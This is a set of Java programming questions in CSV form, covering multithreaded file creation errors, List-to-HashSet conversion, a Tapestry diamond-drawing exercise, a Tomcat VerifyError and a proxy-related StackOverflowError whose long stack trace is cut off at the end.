+Java,"To create a new , unique filename , I use the following code : Next , I use the file and delete it . When I do this in a multithreaded situation , I sometimes get exceptions on the file.createNewFile ( ) : The following code reproduces the problem ( most of the times ) : The method getSomeBytes ( ) just generates an amount of bytes , the actual content is not important : When I execute this code , it sometimes goes well but most of the times , it generates some exceptions like the output below for instance : Any ideas ? I have tested on a Windows 8 machine with java 1.7.0_45 and 1.8.0_31 , both same results.Not sure whether the problem is the same as in this question , but it can be . Using multiple threads in the same process seems to be part of the problem to my opinion but I ca n't be sure about that , it 's faster reproduced however .","File file = new File ( name ) ; synchronized ( sync ) { int cnt = 0 ; while ( file.exists ( ) ) { file = new File ( name + `` ( `` + ( cnt++ ) + `` ) '' ) ; } file.createNewFile ( ) ; } java.io.IOException : Access is denied at java.io.WinNTFileSystem.createFileExclusively ( Native Method ) at java.io.File.createNewFile ( File.java:1012 ) final int runs = 1000 ; final int threads = 5 ; final String name = `` c : \\temp\\files\\file '' ; final byte [ ] bytes = getSomeBytes ( ) ; final Object sync = new Object ( ) ; ExecutorService exec = Executors.newFixedThreadPool ( threads ) ; for ( int thread = 0 ; thread < threads ; thread++ ) { final String id = `` Runnable `` + thread ; exec.execute ( new Runnable ( ) { public void run ( ) { for ( int i = 0 ; i < runs ; i++ ) { try { File file = new File ( name ) ; synchronized ( sync ) { int cnt = 0 ; while ( file.exists ( ) ) { file = new File ( name + `` ( `` + ( cnt++ ) + `` ) '' ) ; } file.createNewFile ( ) ; } Files.write ( file.toPath ( ) , bytes ) ; file.delete ( ) ; } catch ( Exception ex ) { System.err.println ( id + `` : exception after `` + i + `` runs : `` + ex.getMessage ( ) ) ; ex.printStackTrace ( ) ; return ; } } System.out.println ( id + `` finished fine '' ) ; } } ) ; } exec.shutdown ( ) ; while ( ! exec.awaitTermination ( 1 , TimeUnit.SECONDS ) ) ; byte [ ] getSomeBytes ( ) throws UnsupportedEncodingException , IOException { byte [ ] alphabet = `` abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWYZ1234567890\r\n '' .getBytes ( `` UTF-8 '' ) ; try ( ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ) { for ( int i = 0 ; i < 100000 ; i++ ) { baos.write ( alphabet ) ; } baos.flush ( ) ; return baos.toByteArray ( ) ; } } Runnable 1 : exception after 235 runs : Access is deniedjava.io.IOException : Access is denied at java.io.WinNTFileSystem.createFileExclusively ( Native Method ) at java.io.File.createNewFile ( File.java:1012 ) at test.CreateFilesTest $ 1.run ( CreateFilesTest.java:36 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) Runnable 4 : exception after 316 runs : Access is deniedjava.io.IOException : Access is denied at java.io.WinNTFileSystem.createFileExclusively ( Native Method ) at java.io.File.createNewFile ( File.java:1012 ) at test.CreateFilesTest $ 1.run ( CreateFilesTest.java:36 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) Runnable 2 : exception after 327 runs : Access is deniedjava.io.IOException : Access is denied at java.io.WinNTFileSystem.createFileExclusively ( Native Method ) at java.io.File.createNewFile ( File.java:1012 ) at test.CreateFilesTest $ 1.run ( CreateFilesTest.java:36 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) Runnable 3 finished fineRunnable 0 finished fine",Creating new files concurrently +Java,So I have a list of strings that I need to instantiate once every time a service is called . Is it worth it to convert the List < String > to a HashSet < String > and then check if the String is in the hashSet ? eg.I know checking for the string in the list is O ( n ) and the check for the string in the hashSet is O ( 1 ) . I think the conversion is probably O ( n ) .Is there a performance benefit to the recast if I am not searching over the list more than a few times ?,HashSet < String > services = new HashSet < String > ( ( List < String > ) services ) ;,Benefits of Converting List < String > to HashSet < String > Java +Java,"For my homework for Tapestry , I have to show a diamond on table from array of strings . Here 's what I have so far : code Index.javacode of index.tml : This code generates this output : The correct output I need is this : Any ideas will be great help .",public class Index { @ Property private Integer number ; @ Property private String [ ] table ; public Index ( ) { number = 9 ; int temp = 0 ; String tmp = `` - '' ; table = new String [ number * number ] ; if ( singleCell == null ) singleCell= '' '' ; for ( int i = 0 ; i < number ; i++ ) { for ( int j = 0 ; j < number ; j++ ) { table [ temp ] = tmp ; temp++ ; } } } @ OnEvent ( component= '' diamond '' ) Object onDiamondLink ( ) { String swapValue = `` * '' ; int sum = number / 2 ; int x1 = number-1 ; int sumY = number / 2 ; int y1 = number+1 ; int temp = x1 + sumY ; for ( int i = 0 ; i < table.length ; i++ ) { table [ i ] = `` - '' ; } for ( int i = 0 ; i < table.length ; i++ ) { if ( i == sum ) { table [ i ] = swapValue ; sum = sum + x1 ; } if ( i == sumY ) { table [ i ] = swapValue ; sumY = sumY + y1 ; } } System.out.println ( `` link diamond is activate '' ) ; return null ; } public boolean isStartRow ( ) { return ( myIndex % 9 ==0 ) ; } public boolean isEndRow ( ) { return ( myIndex % 9 == 8 ) ; } public String getStartTR ( ) { return `` < tr > '' ; } public String getEndTR ( ) { return `` < /tr > '' ; } < t : actionlink t : id= '' diamond '' > Diamond table < /t : actionlink > < br/ > < h1 > Result : < /h1 > < table border= '' 1 '' > < t : loop t : source= '' table '' t : value= '' singleCell '' index= '' MyIndex '' > < t : if test= '' startRow '' > < t : outputraw value= '' startTR '' / > < /t : if > < td width= '' 20px '' > $ { singleCell } < /td > < t : if test= '' endRow '' > < t : outputraw value= '' endTR '' / > < /t : if > < /t : loop > < /table > - - - - * - - - -- - - * - * - - -- - * - - - * - -- * - - - - - * -* - - - - - - - *- - - - - - - * -* - - - - - * - -- * - - - * - - -- - * - * - - - - - - - - * - - - -- - - * - * - - -- - * - - - * - -- * - - - - - * -* - - - - - - - *- * - - - - - * -- - * - - - * - -- - - * - * - - -- - - - * - - - -,how to draw diamond using tapestry component t : loop +Java,"I 'm developing webapp on Tomcat 7 . Everything works fine on my local version of Tomcat , but when I deploy it on production server , it throws this exception.The error is thrown , when I try to FopFactory.newInstance ( ) ; ( from Apache FOP 1.0 ) . After that , it tries to LogFactory.getLog ( FopFactory.class ) ; . It causes , that logClass.getConstructor ( logConstructorSignature ) ; is called , where logConstructorSignature contains one String.class . ( at least on my local machine ) After this are called the java.lang.Class functions and thrown exception.Have you any idea , why the error is only thrown on production server , but not on my local machine ?","java.lang.VerifyError : ( class : org/apache/commons/logging/impl/Log4JLogger , method : fatal signature : ( Ljava/lang/Object ; Ljava/lang/Throwable ; ) V ) Incompatible object argument for function call at java.lang.Class.getDeclaredConstructors0 ( Native Method ) at java.lang.Class.privateGetDeclaredConstructors ( Class.java:2595 ) at java.lang.Class.getConstructor0 ( Class.java:2895 ) at java.lang.Class.getConstructor ( Class.java:1731 ) at org.apache.commons.logging.impl.LogFactoryImpl.getLogConstructor ( LogFactoryImpl.java:410 ) at org.apache.commons.logging.impl.LogFactoryImpl.newInstance ( LogFactoryImpl.java:529 ) at org.apache.commons.logging.impl.LogFactoryImpl.getInstance ( LogFactoryImpl.java:235 ) at org.apache.commons.logging.impl.LogFactoryImpl.getInstance ( LogFactoryImpl.java:209 ) at org.apache.commons.logging.LogFactory.getLog ( LogFactory.java:351 ) at org.apache.fop.apps.FopFactory. < clinit > ( FopFactory.java:68 ) at cz.soma.tomcat.generator.DokumentaceUtils.createPdfDocument ( DokumentaceUtils.java:818 ) at cz.soma.tomcat.generator.FileFactory.createPdfDocument ( FileFactory.java:58 ) at cz.soma.tomcat.generator.Generator.doPost ( Generator.java:111 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:650 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:731 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:303 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:208 ) at org.apache.tomcat.websocket.server.WsFilter.doFilter ( WsFilter.java:52 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:241 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:208 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:220 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:122 ) at org.apache.catalina.authenticator.AuthenticatorBase.invoke ( AuthenticatorBase.java:505 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:169 ) at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:103 ) try { logConstructor = logClass.getConstructor ( logConstructorSignature ) ; return ( logConstructor ) ; } catch ( Throwable t ) { throw new LogConfigurationException ( `` No suitable Log constructor `` + logConstructorSignature+ `` for `` + logClassName , t ) ; }",VerifyError on Tomcat 7 production server probably caused by Apache Commons Logging 1.0.4 +Java,"For some reason , when the code makes a request using an HTTP proxy , the call to `` getHeaderField ( 0 ) '' , which I understand is supposed to return a String that represents the server 's response code , results in a StackOverflowError.There are no recursive calls in my code . It 's essentially just this : The printed stack trace is the following :","java.net.Authenticator.setDefault ( new java.net.Authenticator ( ) { @ Override protected java.net.PasswordAuthentication getPasswordAuthentication ( ) { return new java.net.PasswordAuthentication ( < user > , < pass > .toCharArray ( ) ) ; } } ) ; java.net.Proxy proxy = new java.net.Proxy ( Proxy.Type.HTTP , new InetSocketAddress ( < host > , < port > ) ) ; java.net.URLConnection conn = new java.net.URL ( `` http : //www.yahoo.com '' ) .openConnection ( proxy ) ; System.out.println ( conn.getHeaderField ( 0 ) ) ; //StackOverFlowError java.lang.StackOverflowError at java.net.SocketImpl. < init > ( SocketImpl.java:27 ) at java.net.PlainSocketImpl. < init > ( PlainSocketImpl.java:95 ) at java.net.Socket. < init > ( Socket.java:126 ) at sun.net.NetworkClient.doConnect ( NetworkClient.java:149 ) at sun.net.www.http.HttpClient.openServer ( HttpClient.java:395 ) at sun.net.www.http.HttpClient $ 4.run ( HttpClient.java:458 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.net.www.http.HttpClient.privilegedOpenServer ( HttpClient.java:440 ) at sun.net.www.http.HttpClient.openServer ( HttpClient.java:521 ) at sun.net.www.protocol.https.HttpsClient. < init > ( HttpsClient.java:272 ) at sun.net.www.protocol.https.HttpsClient.New ( HttpsClient.java:329 ) at sun.net.www.protocol.https.HttpsClient.New ( HttpsClient.java:310 ) at sun.net.www.protocol.https.HttpsClient.New ( HttpsClient.java:302 ) at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.proxiedConnect ( AbstractDelegateHttpsURLConnection.java:130 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1586 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:656 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( 